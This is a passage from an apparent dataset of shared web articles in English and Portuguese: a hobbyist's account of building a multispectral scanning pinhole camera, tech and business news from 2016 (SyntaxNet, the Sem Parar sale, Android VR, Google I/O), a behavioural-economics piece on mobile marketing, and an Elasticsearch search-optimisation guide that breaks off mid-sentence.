glowy human stuff happens. Unfortunately, glass is opaque below NIR and can't be used in heat vision cameras. There are optical materials that pass and focus the lower bands, but they all cost money and are difficult to get. This is where the pinhole camera comes into play - a pinhole focuses everything you shine through it, eliminating the need for an exotic lens. So, how do you make a digital camera? We start with a light-proof box. In the box there is a coin-sized hole. Over the hole there is the flap with the pinhole, poked with a needle in a piece of aluminum foil. Inside the box is a coordinate table - an X-Y scanning rig to rasterize the image. A regular digital camera would have a matrix - huge array of detectors all working in parallel. That can't be made at home. What can be made at home is a single light detector, based on a photodiode. The signal from the photodiode gets amplified by a huge factor with a transimpedance amplifier , then fed through an ADC to get the digital data for the microcontroller to store on a microSD card. Gigaohm resistors are needed to get the right gain. Fortunately, they were made in USSR and the stock still exists. This detector is mounted on the caret of the X-Y rig which scans it across the image - up and down, left, up and down, left - repeat a thousand times and you get a picture!... ...of noise. The amount of sensitivity needed to pick up the faint light from the pinhole is massive. And we live in the age of AC electricity - an omnipresent hum at 50Hz. Fortunately, it's easy to filter out with an age-old arrangement known as a Faraday cage . Radio waves cannot penetrate into a conductor, so if you wrap your box with metal foil and use the foil as your ground reference, then the noise vanishes. And you start to see something. More amplification, and new noise appears. Now it's the motors and internal electronics. The gains are enormous and everything that can be picked up gets picked up. We need more foil. Much more foil... Actually, the foil above was an early failed experiment, and the foil below is all it takes - just put the actual detector into it's own faraday cage! With that done, the picture clears up. Not much noise left. A megapixel worth of vision, wrought by your own hands. What would the sunset look like? Not great, I guess. It's still a black and white camera. Let's improve on that. To get colors we need more sensors. But first, let's fast forward a bit. This project spans years, and when I started there were no 3D printers. Eventually I made one, and all the clumsiness of the old rig got replaced with modern, 3D printed, well-fitted parts. Sensor shielding got a solidity improvement as well. Most importantly, I moved the ADC into the sensor box, and that allowed me to attach many boxes on the same digital bus. Add some filters... And you can start seeing the shades of the world. There are many types of light bulbs. Let's look at a room with infrared (red) and visible (blue) filters. See how the lights have distinct colors? The bright red are incandescent, spewing out infrared waste. The blue are CCFLs, barely producing anything but visible. Efficiency vision! Spot the LEDs. Remember how I said grass is reflective in the NIR? Let's combine NIR, green and blue. But back to the true color. Outdoors. Indoors. The bands are there because the sensors are separated by some distance, so the images don't overlap completely. And of course, no camera would be complete without a self-portrait. It takes 5 minutes to complete a picture, so here i am reading about color balancing algorithms on a phone and trying not to move. It's surprisingly not easy to get the colors right when all you have is the raw red, green and blue channels. I'll never curse ""whoever programmed the Auto White Balance on that stupid camera"" again. But what about the unseen ? The whole idea was to see what no one saw before. That's a whole another story. The first part of it is easy - let's look at the ultraviolet. Thick, opaque air. Dark landscapes. A sun that looks dim. You don't really see the ozone layer, just the air itself glowing - same blue sky, only thicker. Would have been nice to see the fog of the ozone, but it's hidden behind the air. Now, for the magic. To see in MWIR, we need an InAs photodiode, something that's not really that easy to come by. They are made by a Japanese company Hamamatsu, and do not cost that much. Or so I thought... This was my first encounter with ITAR - the ""how dare you want interesting stuff?"" restrictions. Before then I never realized just how USA, uh..., loves the whole world. Basically, the Hamamatsu guys wanted me to provide a ton of paperwork proving that I won't be making nuclear bombs and guided missiles with their parts, cause that's what they are commonly used for. MWIR is where jet fighters glow brightly in front of a pitch-black sky. Well, crap. Fortunately, we in Russia also know how to make heat-seeking missiles, and after some searching I found a local supplier that was more than happy to provide me with a couple of 3.4 μm InAs photodiodes. That is where the trip into the never-before-seen begins. And it begins with figuring out that all of the above assumptions about pinholes and billion-to-one amplifiers don't apply. First, the InAs photodiode drifts. A lot. That's what a blank picture looks like. Then, with a pinhole and maximum gain I can give it, that's what a soldering iron looks like: Okay. The purpose of the problems is to be solved. Let's dump the pinhole and order a ZnSe lens from China. Turns out that since the project's inception the situation changed - China was making plenty of CO2 lasers, which use ZnSe lenses. And these lenses focus the light I need perfectly fine. Oh, and they are very cheap. Some 3D printing later i got a proper lens assembly with focus capability. In the dark of the night you can see a lot with it now (regular photodiode). Next, the drift. It's not that fast, and we can assume that it's stable during one scan line. So, let's add a flap at the end... And modify the processing software to even out the image based on the reference band. Let's look at that soldering iron again. The most amazing part is not that it glows, but that it glows brightly enough to illuminate the stand. It's not just the ""temperature mapped to an image"" of a regular heat vision camera, we see the actual long-wave light being emitted and reflected - a soldering iron turned into a lightbulb! The low limit for the glow is somewhere around 100*C. Here are some hot resistors: MWIR is neither heat, nor is it light. It's both - if you look outside you'll see the world illuminated by the MWIR radiation from our sun. These kinds of scenes were never seen before by anyone. Outside of, perhaps, some specialty labs that make sensors and the people who built the cameras for the climate watching satellites like Terra and Aqua . What other sensors are there? I mentioned SWIR, the band that is used for the optic fiber. There, the parts are easy to come by and are not restricted. Unfortunately, the SWIR photodiode is also sensitive to the regular light. Fortunately, silicon is opaque all the way to upper SWIR, so it would filter out all the things we don't want to see. Unfortunately, the raw silicon wafers you can find on ebay are not really transparent. Looking at a lightbulb through it produces only a blur. Fortunately, my father's old solar panel fab is still in business and they have some scrap of wafer-grade silicon. That worked great. Let's look around. Eh, it's kinda cute but not that special. Same deep black sky the NIR is famous for. The snow is almost black, since there is no sky light for it to reflect I guess. Big difference is that the vegetation is not as reflective, so you get the ""blackness of space"" sky with regular-ish landscapes. It's almost like being on the airless, derelict Earth - preserved under the void after whatever disaster befell it. That is about all I got as far as sights not seen before go. Unfortunately, no sensor that I can easily get or use can see deep enough in the LWIR to make the humans glow. You need liquid nitrogen cooling on an InGaAs photodiode to do that, and it's not quite that easy to get. So the story will continue. You might wonder about a few bits of this build, a few words I said and a few unusual solutions. All of them hint at another use in mind. Another kind of radiation to see in...? Oh yes, there is one more. But that would be a whole other story, for another time. Stay tuned!",en
1463161587,CONTENT SHARED,-4095842175692097942,-1032019229384696495,5297099638945885430,,,,HTML,http://thenextweb.com/dd/2016/05/12/google-just-open-sourced-something-called-parsey-mcparseface-change-ai-forever/,"Google just open sourced something called 'Parsey McParseface,' and it could change AI forever","As much as we love to fawn over artificial intelligence (AI), it's still not great at recognizing and parsing natural language. That's why Google is open sourcing its new language parsing model for English, which it calls 'Parsey McParseface.' Before you even ask, the name has no meaning. When Google was trying to figure out what to call its language parsing technology, someone suggested Parsey McParseface; it's a bit like Apple's Liam , which has no clever backstory either. The overall AI model model is called SyntaxNet (please make your SkyNet jokes now); 'ol Parsey is just for English. Combining machine learning and search techniques, Parsey McParseface is 94 percent accurate, according to Google. It also leans on SyntaxNet's neural-network framework for analyzing the linguistic structure of a sentence or statement, which parses the functional role of each word in a sentence. If you're confused, here's the short version: Parsey and SyntaxNet are basically like five year old humans who are learning the nuances of language. In Google's simple example above, 'saw' is the root word (verb) for the sentence, while 'Alice' and 'Bob' are subjects (nouns). Parsey's scope can get a bit broader, too. And if you're wondering why Parsey McParseface is even necessary, here's Google's explanation: One of the main problems that makes parsing so challenging is that human languages show remarkable levels of ambiguity. It is not uncommon for moderate length sentences - say 20 or 30 words in length - to have hundreds, thousands, or even tens of thousands of possible syntactic structures. A natural language parser must somehow search through all of these alternatives, and find the most plausible structure given the context. Parsey McParseface and SyntaxNet aren't a solution; Google considers them a first step toward better AI language parsing, which is a persistent hurdle. Besides, a more natural conversation could make Chirp really awesome someday. TNW's West Coast writer in the PNW (Portland, Oregon). Nate loves amplifying developers, and codes in Swift when he's not writing. If you need to get in touch, Twitter or email are your best bets.",en
1463163606,CONTENT SHARED,-9099155556042679205,3915038251784681624,-7941806312796633953,,,,HTML,http://exame.abril.com.br/negocios/noticias/ccr-vende-dona-do-sem-parar-para-a-dbtrans-por-r-4-bi,CCR vende dona do Sem Parar por R$ 4 bi | EXAME.com,"São Paulo - A CCR , junto com os demais acionistas, vendeu a Serviços e Tecnologia de Pagamentos (STP), dona da Sem Parar , para a DBTrans, que é garantida pela Fleetcor. O valor total da venda, que corresponde a 100% das ações representativas do capital social da STP, foi de R$ 4,086 bilhões, sendo que a CCR venderá o seu total de ações, que correspondem a 34,2372% do capital social, por R$ 1,398 bilhão. A data-base é 1º de janeiro de 2016. A operação ainda está sujeita a obtenção de autorização do Conselho Administrativo de Defesa Econômica (Cade). ""A conclusão da operação ora anunciada representará a concretização de mais uma etapa da estratégia do Grupo CCR"", informou a empresa, em fato relevante enviado há pouco à Comissão de Valores Mobiliários (CVM). O interesse da Fleetcor já havia sido antecipado pelo jornal O Estado de S. Paulo no dia 18 de janeiro. No mesmo dia, a CCR confirmou o recebimento da proposta pela STP.",pt
1463163660,CONTENT SHARED,7400247075626691905,-8845298781299428018,-4205996097197925285,,,,HTML,http://techcrunch.com/2016/05/13/google-may-unveil-android-vr-headset-at-io-conference/,Google may unveil Android VR headset at I/O conference,"According to multiple rumors and a newly spotted placeholder on the Google Play Developer Console, it seems that Google will be unveiling an Android VR headset at Google I/O next week. Android Police first spotted the placeholder, which is currently just that - you can't click into the link like you would be able to with the Android Wear, Android TV, or Android Auto. Last week, Peter Rojas (former Engadget Editor and current EIR at Betaworks) confirmed the rumors via Twitter, noting that Android VR wouldn't be as powerful as the Vive from HTC or the Oculus Rift. Android VR will definitely be announced next week, and from what I've heard will be less powerful than the Vive or Rift. - Peter Rojas (@peterrojas) May 11, 2016 And back in February, the Wall Street Journal reported that Google had plans to unveil a VR headset that doesn't require a smartphone nor a computer to function. While that piece is still up for debate - some say that Google I/O might involve the introduction of two VR headsets - it seems that we can safely say Google will unveil some form of a VR headset in the coming weeks, likely at I/O. That said, it will probably be quite a while before we can actually purchase these devices, as the headset will likely run on the forthcoming Android N operating system. This should shake up the current VR landscape, which is dominated by Oculus with the Rift, as well as Oculus/Samsung with the Gear VR. [via Engadget ] Featured Image: TechCrunch",en
1463170986,CONTENT SHARED,-3697359635590244386,-1443636648652872475,-6889636411309016105,,,,HTML,http://www.androidcentral.com/google-io-2016-preview-android-n-android-vr-project-chirp-play-store-chromebooks-and-more,"Google I/O 2016 preview: Android N, Android VR, Project Chirp, Play Store on Chromebooks and more!","What to expect from the biggest Google conference ever. It's Google I/O time! The 2016 installment of Google's annual developer conference kicks off Wednesday, May 18 in Mountain View, California with a two-hour opening keynote. With a new venue and the promise of announcements on the future of Android N , VR, Chrome OS and much more, it's sure to be one of the highlights of the year in mobile tech. With just a few days to go until developers descend on Shoreline Amphitheater, we've rounded up details of what we're expecting from Google I/O 2016. A new venue Aside from what's actually announced and shown at Google I/O 2016, attendees will experience this year's conference in a new way, at the Shoreline Amphitheater in Google's hometown of Mountain View. This outdoor arena is a major change from the Moscone West Center in San Francisco - I/O's venue in previous years, which is more of a traditional indoor conference space. The keynote will take place on the amphitheater's main stage, with other presentations and developer sessions spaced out on the ten smaller stages in between demo areas. The change in venue guarantees a different atmosphere at this year's conference, with more attendees and wide open spaces, in contrast to the warren of corridors at Moscone West. What we're really saying is this could be the most fun Google I/O yet. Android N We know a lot more about Android N going into I/O 2016 than we did about M ahead of last year's event. Google has rolled out a couple of developer preview builds so far, showing off major features like split-screen multitasking, a re-tooled notification panel and support for the Vulkan APIs for improved gaming performance. So far it's been left up to developers and tinkerers to try and figure out what's coming next besides the stuff officially disclosed in developer docs for N. That being the case, the I/O keynote should give us a good overview of the broader thinking behind these new features. It's unlikely the Android team has deliberately left anything huge out of the earlier builds, but there's always potential for a few surprises. MORE: What's new in Android N We'll learn more about the broader thinking behind Android N's features - and maybe what it'll eventually be called. One of those might be the ""sweet treat"" for which the next version of Android will be named. Google has already publicly hinted at a tie-in with Nutella, and if a branded partnership is coming then an earlier announcement of the name would make sense. (The announcement of Android 4.4 KitKat in 2013 came about a month earlier than usual.) It's also possible we'll hear more about which non-Nexus devices will get N Preview builds through the new Android beta program. That process has already started with Sony ; we may find out who's next at I/O. And finally, Google appears to be holding the third ""N"" developer preview build back for I/O, and that could be significant. We're still a month or two away from having finalized Android N APIs, so there's plenty of time for Google to surprise us with new features or services. Speaking of which... Virtual Reality We're two years removed from the first Google Cardboard headset, and the VR world has hotted up considerably, with premium PC-based experiences like Oculus Rift and HTC Vive , and more affordable smartphone-based headsets like Samsung Gear VR dominating the space. VR has come a long way since Google Cardboard was a ""20 percent"" project developed by a handful of engineers. A standalone 'Android VR' system could be one of I/O's biggest reveals. Earlier this year The Wall Street Journal reported that a more advanced version of Cardboard would arrive in 2016, along with a standalone VR system. It's not surprising to expect Cardboard to gradually morph into something more reminiscent of Gear VR, but a standalone headset (and software platform) could be one of the conference's most interesting reveals. And ""Android VR"" might be the name to watch out for. Engadget and Gizmodo co-founder Peter Rojas tweets that a standalone (not smartphone-powered) VR experience with that name is coming to I/O, and that it'll be less powerful than Vive or Rift. That part is no huge surprise for what'll still be a portable VR system. A standalone headset would allow Google to escape the limits of smartphone pixel density, while still tying it into its own ecosystem. And assuming the number crunching is offloaded to the headset as well, it'd give game developers a single hardware target to aim for. Presumably there'd be some phone-based manager app, similar to Android Wear, for loading content onto the standalone headset. Such a headset, naturally, would be way more expensive than Cardboard or even Gear VR. Project Chirp - Google's answer to Amazon Echo This particular rumor has been swirling for some time, but it's only just started to come into focus in recent days. According to reports from Recode , Google is working on a competitor to Amazon's Echo voice control box, codenamed 'Chirp' , and it'll be announced at I/O. OK Google, order some pizza. The device apparently looks like an OnHub router, incorporating voice search and personal assistant features similar to Amazon's box. Other details are scarce, but it's not at all surprising to see Google bringing natural language interactions and Google Now into a standalone, home-based box. The Amazon Echo has shown huge potential thus far, and given the sheer number of services Google operates (not to mention its broad global reach), the possibilities for ""Chirp"" are endless. Google Play on Chromebooks This one's been a long time coming. Back at I/O 2014 we got our first glimpse of Android apps running in a window on Chrome OS. Fast forward two years and it looks like Google is finally ready to open the floodgates , with the Play Store bringing ""over a billion"" Android apps to Chromebooks and 'boxes. Such a move would significantly expand the capabilities of Chromebooks, allowing Google to keep up the pressure on Microsoft, which despite declining PC sales has an enormous lead with its desktop ecosystem. Chrome OS isn't going to catch up overnight, but in the long term the Play Store could grow into an important destination for apps that aren't convenient to use in a browser window. MORE: Android apps on Chrome OS could be Google's shortcut to a full desktop OS Project Tango Related to the company's upcoming VR products, Project Tango is Google's work-in-progress Android-based platform for augmented reality and indoor mapping, using a series of cameras to map your surroundings in 3D. The technology at the heart of Tango is likely to power Google's other VR products. Lenovo will show the first Project Tango-enabled consumer smartphone at its TechWorld event in early June , however if reports from are to be believed, Google will also show the progress it's made with Tango at I/O, which may include a sneak peek at the handset. ""The company plans a big expansion of the technology this year and ultimately wants to make it ubiquitous,"" the outlet reports. And with four separate developer sessions on Tango itself, there should be plenty of new stuff to get to grips with. Other odds and ends Android Pay has been due to launch in the UK for the past several months, but there's been no sign of any concrete timeline thus far. I/O would be as good a place as any to talk about expanding the service's reach. Project Ara has been pretty quiet lately. The modular smartphone project, from Google's Advanced Technologies and Projects (ATAP) group, was one of the highlights of I/O 2014, but details have been hard to come by since the American Pilot Market was announced. The conference also would be a good opportunity for Google to show that ATAP is very much alive and well, post-Regina Dugan . Might Google Play be headed to China at last? That's not to be confused with Project Aura - the new name for the next-generation, apparently enterprise-focused version of Google Glass. The project reportedly falls under the purview of Google connected home boss Tony Fadell, and is being worked on by former Amazon employees who previously worked on the Fire phone. Google in China . There's one pretty big gap in Google's reach right now, and that's China. Multiple sources have reported that a China-specific (and likely heavily filtered) version of Google Play would be launching in the country sometime in 2016, and AC has heard the same from people who would be in a position to know. Given that developers would have to be a huge part of this, what better place to announce a Chinese Google Play? Updates from Alphabet and Sundar . It's the first I/O since Google was split out from new parent company Alphabet , and Sundar Pichai was appointed CEO of the new Google. It's likely the keynote will start with some reflection on the past year's changes in Mountain View. New Android active user numbers . The most recent figure we have comes from September 2015, when the OS had 1.4 billion active users . At I/O 2015 that figure was 1 billion. We'd expect it to be rapidly approaching 2 billion at this year's conference. What we probably won't see A few predictions about we're not expecting from this year's show: New Nexus devices. Whether they're phones or tablets. It's too early in the year for either, with both having historically coincided with new Android versions. What's more, the nature of Nexus means if a new phone or tablet were coming at I/O, it would have leaked well in advance. The end of Chrome OS. There's been lots of chatter about Google supposedly folding Chrome OS into Android starting next year, with most of it originating from a report in The Wall Street Journal late 2015. With Google set to introduce Android apps on Google Play to Chrome at I/O this year, it's unlikely the firm would also showcase an entirely new desktop version of Android to replace it. But as we've discussed separately , whether Google's desktop presence is called Chrome or Android could largely become a matter of semantics. Rick Osterloh's master plan. The former Motorola exec rejoined Google to head up hardware at the firm, in a role covering Nexus, Chromecast and Google Glass. But it's still early days, and we wouldn't expect this new role to bear fruit in time for any big reveals at I/O. Join us from Mountain View! We'll have a full team on the ground from Tuesday May 17th. Stay tuned for details of how to follow the show with Android Central and the Mobile Nations crew. In the meantime, be sure to hit the comments and let us know what you'd like to see from this year's Google I/O!",en
1463171998,CONTENT SHARED,-1536771179525677307,-1799631734242668035,-1705757378165207657,,,,HTML,https://www.thinkwithgoogle.com/articles/time-pressure-behavioral-science-considerations-mobile-marketing.html?utm_source=2016-05-think-content-alert-usa&utm_medium=email-d&utm_campaign=20160511-mobile-alert-OT-DM-DV&utm_content=Moments-article-title&mkt_tok=eyJpIjoiT0ROaFlURmxPVEl4T1dWbSIsInQiOiJrVDhJbUQ4cEJibEU3NGVMUUZLVWlXN251aXJZcHlySDFVNUk2NXZwa2tIaStjRjlzbWVsSlpTbGtkbk56YksrSzJtbUp0YnU5eU5hd3oybWdiUUhkeGlQSFZOQ3JxYjJZOFBXcVZiYlNFRT0ifQ%3D%3D,Time Pressure: Behavioral Science Considerations for Mobile Marketing,"When consumers don't have a lot of time to make a decision, they tend to focus on a few key criteria or product attributes. Behavioral economist Dan Ariely explores what this principle means for mobile marketers. There's a certain, and quite common, mobile on-the-go mindset that's about executing something immediately under time pressure. Because of this, some of the well-studied social science phenomena related to time pressure are particularly applicable in helping to understand mobile decision-making. This consideration is key for marketers who are trying to reach and influence us in these moments. Let's start with the obvious: The fact that we can-and often do-use mobile devices while on-the-go is a huge differentiator between our online behavior on a laptop versus on a mobile device. From a social science perspective, these on-the-go mobile moments, which Google calls micro-moments , are interesting to consider. In these situations, we're often making decisions while multitasking, while looking for something on the way, or by gathering information to shape what we're seeing in front of us in that moment (e.g., in a store aisle). [[callout-headline-1]] To think about the mobile mindset in a concrete way, let's consider two scenarios of booking a hotel room. One involves Robert, who is on his mobile phone but not under any time pressure, and the other involves Tom, who is using mobile on-the-go and feeling time pressure. Robert is sitting on his comfy couch at home. He knows he's traveling on business next week and while watching TV and playing with his dog, he reaches for his phone to decide on a hotel. He has time while browsing to toggle back-and-forth among different hotel options, considering and contrasting the benefits of different hotels to weigh the convenience of location near his meeting versus the ability to earn hotel points at his preferred chain, with a guaranteed king-size bed, nonsmoking room-and also a gym. Tom is also on his mobile phone and needs to book a hotel room, but he's at the Denver airport. He had a late connection and just missed the last flight out for the night. He needs to book a hotel room for tonight! He's hoping to get one of the last available hotel rooms while calling his wife to rearrange child care drop-offs for the morning, and postponing his next morning's team meeting because he won't be there in time. Tom is experiencing one of the typical impacts of time pressure-the so-called ""narrowing effect""-and as a consequence he pays attention only to the hotel's proximity to the airport. He is more likely to hone in on location and choose one of the first hotels he finds that fits his criteria. Understanding time pressure in customer experiences Time pressure, a situation in which our need for time exceeds the amount of time currently available to us, can be seen as a type of stress. To help us manage stress, we often experience a narrowing effect, where we channel or tunnel our focus toward a main task and ignore or filter out certain cues. Consider the following study: People were given descriptions of 30 hypothetical car models and were asked to give the likelihood that they would purchase a car. 1 They were given five different attributes for each car. Those who were put in a time-pressure condition were more likely to narrow in on the negative attributes, which they weighted far more heavily in their selection process. In essence, time pressure encourages individuals to rule out products based on the one attribute they don't like rather than optimize based on the many attributes that they do like. Time pressure narrows the consumer's focus, giving the marketer only a brief moment to grab their attention and direct their choices. A related study showed the same narrowing effect when people were asked to choose apartments. 2 Among all the different elements to consider about an apartment (such as size, quality, and distance from work), people who were put under time pressure focused primarily on the distance from work and underweighted all other criteria. In another example of attention narrowing, a study of military personnel under time pressure showed that they examined less information, which led to reduced ability to detect submarines. 3 Time pressure and mobile decision-making To continue applying these ideas to mobile in particular, let's look at another example for Robert and Tom. This time they're both in the market for a new shower head. Robert, who seems to get off easy in our examples, is back on his couch planning out the bath remodel that's three months away. He's on his smartphone, browsing shower heads with a massage spray option, in a satin nickel finish, with different wall mount options. He's able to check the reviews and availability of the models that meet his criteria. He's not yet sure if he'll buy online or go in-store, but he's collecting nuggets of useful information to influence his ultimate decision. Given his state of mind, his decision is thoughtful and deliberate. He's looking for thorough and reliable information that will help him make the best choice. [[callout-headline-2]] Meanwhile Tom is standing in the shower fixtures aisle at Lowe's and feeling some time pressure. His contractor is plumbing his master shower this afternoon and Tom needs to finalize his fixtures selection. There are two different shower heads with a side mount in the chrome finish on the shelf in front of him. Because of the narrowing effect, it's likely that Tom would hone in on one particular functional attribute to make his decision, without considering other, more complex, criteria. In Tom's case, he cares most about water pressure and turns to his phone for reviews on which of the two products has stronger water pressure. Tom is also likely to spend less time on the shopping process and would likely enjoy it less than Robert. And once Tom starts leaning toward one of the options, it's unlikely that he will revisit his decision and change his mind. He seeks quick, decisive information to give him confidence so he can get things done and move on. What does this mean for mobile marketers? It's critical today that marketers think about the context of their customer on the path to purchase: where they are, what device they're on, what their likely mindset is in that given moment. Time pressure is an important factor for marketers to consider in this mix. This is particularly true when it comes to decisions made on mobile devices on-the-go since time pressure narrows the consumer's focus, giving the marketer only a brief moment to grab their attention and direct their choices. Given that time pressure creates a narrowing of attentional focus, people are less likely to consider a larger array of options and product attributes. Marketers should take this into account and aim to help people define the choice criteria and the key factors for their decisions. The move to mobile also means that it's becoming more and more important to be top of mind with a simple and clear offering. That's why it's critical for marketers to continue to invest in brand building and subsequently be there with their product or message when people are making decisions. Dan is the James B. Duke Professor of Psychology and Behavioral Economics at Duke University, a founding member of the Center for Advanced Hindsight, co-creator of the film documentary (Dis)Honesty: The Truth About Lies, and a three-time New York Times bestselling author. His books include Predictably Irrational, The Upside of Irrationality, The Honest Truth About Dishonesty, and Irrationally Yours. He can be found at www.danariely.com . Sources 1 Wright, P. (1974). The harassed decision maker: Time pressures, distractions, and the use of evidence. Journal of Applied Psychology, 59(5), 555-561. doi:10.1037/h0037186. 2 Svenson, O., Edland, A., & Karlsson, G. (1985). The effect of verbal and numerical information and time stress on judgements of the attractiveness of decision alternatives. In L.B. Methlie & R. Sprague (Eds.), Knowledge representation for decision support systems. (134-144). 3 Entin, E. E., Serfaty, D., & Alphatech Inc., Burlington MA (1990). Information gathering and decision making under stress. Dan Ariely Professor of Psychology and Behavioral Economics",en
1463172191,CONTENT SHARED,3548262914600772288,-1799631734242668035,-1705757378165207657,,,,HTML,http://startse.infomoney.com.br/portal/2016/05/11/19186/1-das-empresas-dominam-94-das-receitas-na-app-store/,1% das empresas dominam 94% das receitas na App Store,"Olá, meu caro pequeno desenvolvedor de aplicativos. Tenho uma má notícia para você: uma pesquisa da Sensor Tower mostra que 1% dos desenvolvedores conseguem 94% de TODAS as receitas geradas na App Store, de aplicativos para iOS. A mais rica das lojas vê seus usuários pagarem praticamente só quando já conhecem os publishers. Além disso, eles também possuem um ""viés"" em relação ao que se baixa na loja: 70% de tudo que é baixado é de 1% dos desenvolvedores, enquanto os 30% vem de 99% dos desenvolvedores. Este 1% é composto de 623 empresas como Supercell, Machine Zone, Rovio e serviços de streaming como Spotify e Netflix. Essas empresas registraram ganhos de US$ 1,34 bilhões, frente os US $ 1,43 bilhões. Em outras palavras: é difícil ser um desenvolvedor pequeno e indie em uma loja dominada por seus grandes nomes. Mensagem do Editor Ei, tudo bom? Gostaria de agradecer pela visita! Meu nome é Felipe Moreno, sou editor-chefe do StartSe e, como muito de vocês, dono de uma (minúscula) startup de mídia. E te fazer um pequeno convite: vamos bater um papo! É só se cadastrar aqui embaixo e eu vou te enviar alguns e-mails para você com o melhor do nosso conteúdo para te ajudar, seja você um empreendedor, funcionário, investidor ou apenas interessado neste maravilhoso mundo! É um caminho de comunicação direto que nenhum outro portal oferece para seus leitores. E a intenção é construir uma comunidade vibrante que esteja preparada para todos os enormes desafios que virão. Vamos construir conhecimento e conteúdo juntos! Conto muito com a presença de vocês neste papo!",pt
1463172922,CONTENT SHARED,-3555513869558669392,2062670502532932588,3921868519261567772,,,,HTML,https://www.elastic.co/blog/found-optimizing-elasticsearch-searches,Optimizing Elasticsearch Searches,"By Alex Brasetvik UPDATE: This article refers to our hosted Elasticsearch offering by an older name, Found. Please note that Found is now known as Elastic Cloud. Simple Suggestions for Speedier Searches Elasticsearch can query, filter and aggregate in many ways. Often there are several ways to solve the same problem - and possibly with very different performance characteristics. This article will cover some important optimizations that can buy you a lot of performance. Understanding how filters work is essential to making searches faster. A lot of search optimization is really about how to use filters, where to place them and when to (not) cache them. Take this search, for example: {.yaml} query: bool: must: - term: tag: ""elasticsearch"" - multi_match: query: ""query tuning"" fields: [""title^5"", ""body""] Elasticsearch will search for documents that are tagged with elasticsearch and that contain query tuning , preferably in the title. However, as all resulting documents are required to contain elasticsearch, the tag query has no impact on the scoring - the tag query acts as a filter. This is the key property of filters: the result will be the same for all searches, hence the result of a filter can be cached and reused for subsequent searches. Caching them is quite cheap, as you can store them as a compact bitmap. When you search with filters that have been cached, you are essentially manipulating in-memory bitmaps - which is just about as fast as it can possibly get. A rule of thumb is to use filters when you can and queries when you must: when you need the actual scoring from the queries. Having realized that we want to use a filter instead of a query, a common rewrite is something like this: {.yaml} query: multi_match: query: ""query tuning"" fields: [""title^5"", ""body""] # Make it a filter, because filters are faaast. filter: # renamed to post_filter in 1.0 - term: tag: ""elasticsearch"" # But wait. This is wrong! Explanation follows. This is one of the most common errors I see, and probably the reason why the top-level filter was renamed to post_filter in version 1.0, to emphasize that it is a filter that happens after (post) the query phase. To understand why this change may actually be for the worse, we'll first have a look at the various places you can place a filter in a search. High Level View of Filter Locations Filters can appear in a filtered query , in filter aggregations , and in post filters . Filters are also useful for e.g. scoring in function score queries, but in that context they do not reduce the document set. The filtering that happens in the filtered query - in the top of the figure - is applied to everything. Aggregations as well as hits are affected by the filtering. This is not true of filtering that happens in the post_filter . Its entire purpose is to have a filter that does not affect aggregations. In the (suboptimal) rewrite that we did above, we moved the tag query component into a post_filter . The outcome of this is that all documents matching the ""query-tuning"" query will be scored, and then the filter is applied. While we have gained cacheability of the tag filter, we have potentially increased the cost of scoring significantly. Post filters are useful when you need aggregations to be unfiltered, but hits to be filtered. You should not be using post_filter (or its deprecated top-level synonym filter ) if you do not have facets or aggregations. Instead, this query should be rewritten to a filtered -query, like this: {.yaml} query: filtered: query: multi_match: query: ""query tuning"" fields: [""title^5"", ""body""] filter: term: tag: ""elasticsearch"" The filtered -query is smart enough to apply filters before queries, which reduces the search space before expensive scoring is performed. Use a filter Place filters in the right place. (Probably in a filtered -query!) Elasticsearch has several ways to combine filters: and , or , not , and ... bool . You should probably always use bool and not and or or . For more detailed reasoning for this, see Zachary Tong's post all about elasticsearch filter bitsets . The gist is that most filters can be cached, while some filters (e.g. geo_distance or script ) need to work document-by-document anyway. Therefore, you'll want cached (and therefore cheap) filters to be applied before the expensive ones. These subtle differences have, for the most part, been worked into the bool filter so you no longer have to worry about them, but it is always a good idea to test anyway! That said, you still need to think about which order you filter in. You want the more selective filters to run first. Say you filter on type: book and tag: elasticsearch . If you have 30 million documents, 10 million of type book and only 10 tagged Elasticsearch, you'll want to apply the tag filter first. It reduces the number of documents much more than the book filter does. Combine filters with bool . Order filters by their selectivity. The cacheability of filters is an important reason why they can be so fast. Not all filters can (sensibly) be cached, however. Consider a user with a smartphone at location x wanting to see nearby events occurring within the next hour. These two filters (location and time) would be highly specific to that user and to that exact time. It is unlikely that those filters will be reused, so it makes no sense to cache them. In such scenarios it can be useful to add auxiliary filters that are less specific, but cacheable. For example, while it is unlikely that finding documents within 5 kilometers of the specific location (63.4305083, 10.3951494) (in downtown Trondheim) will be reused, any similar distance filter for users in the same area will fall within the much wider grid defined by the geohash u5r . (This is not necessarily true near meridians or the equator ). Another possibility would be to filter on city or county, for instance. Similarly, Elasticsearch does not cache any time filter using the now keyword in date math unless a rounding is specified. If you want to find all documents with timestamp >= 'now-1h' , the filter will not be cached, because now is (hopefully) continuously moving. However, any document that less than an hour old is also necessarily less than one day old. Thus, you can have a filter like timestamp >= 'now/1d' AND timestamp >= 'now - 1h' . The timestamp >= 'now/1d' component, which should be applied first, can be cached because it is rounded to the current day. It is not exactly what we want, but it reduces the number of documents needed to be considered for the now-1h filter. In other words, filters that seem redundant can speed up things a lot, because they can be cached and reduce the search space for filters that cannot. When you face a challenge with a filter that is not being cached, you should consider if you can accelerate the filter enough in other ways. Mind which filters can(not) be cached. Consider cacheable ""accelerator"" filters to reduce the burden of more expensive filters. As for queries and filters, there can be multiple ways of achieving the same aggregation. The filter aggregation (or facet) is incredibly useful, also when a terms or range aggregation could do the same. Assume you have a web site with three different sections, and you want to show how many hits there are in each section. The most obvious approach would be to do a terms aggregation on the section field to get an aggregation that says e.g. {general: 123, news: 40, blog: 12} . To limit the search to a section, you would use a term filter like {term: {section: news}} . You might even be using these filters for function scores as well. A cached filter can be reused in many settings. Since you are already paying for the filters' memory, it can make sense to replace the terms aggregation with a filters aggregation . A terms aggregation will need the entire section field in memory, then count and bucket for every request. AND-ing together a few bitmaps is probably a lot faster. This can work well for low-cardinality fields: I am not suggesting replacing all your term aggregations with a huge number of filters! The same can apply to range aggregations. Consider whether your aggregation can be implemented with a filter aggregation instead. Aggregations are powerful, but they can easily dominate the performance cost of your searches - and consume a great deal of memory. Therefore, it can be worthwhile to minimize the number of aggregations you do. If you have a search results page where not all facets are visible, consider lazy loading the aggregation when the user enables the facet. The same holds for pagination. When a user requests a second page of hits, the facets in the navigation will remain the same - after all, they're aggregates. Therefore, you can skip the aggregations and just ask for the hits. This can make your user interface more stateful and complex, of course, but you can save a lot of CPU-cycles at your backend. Aggregations are expensive. Reuse cached results or skip them entirely if possible. We mentioned above that you should filter when you can and query when you need scoring. Elasticsearch has really 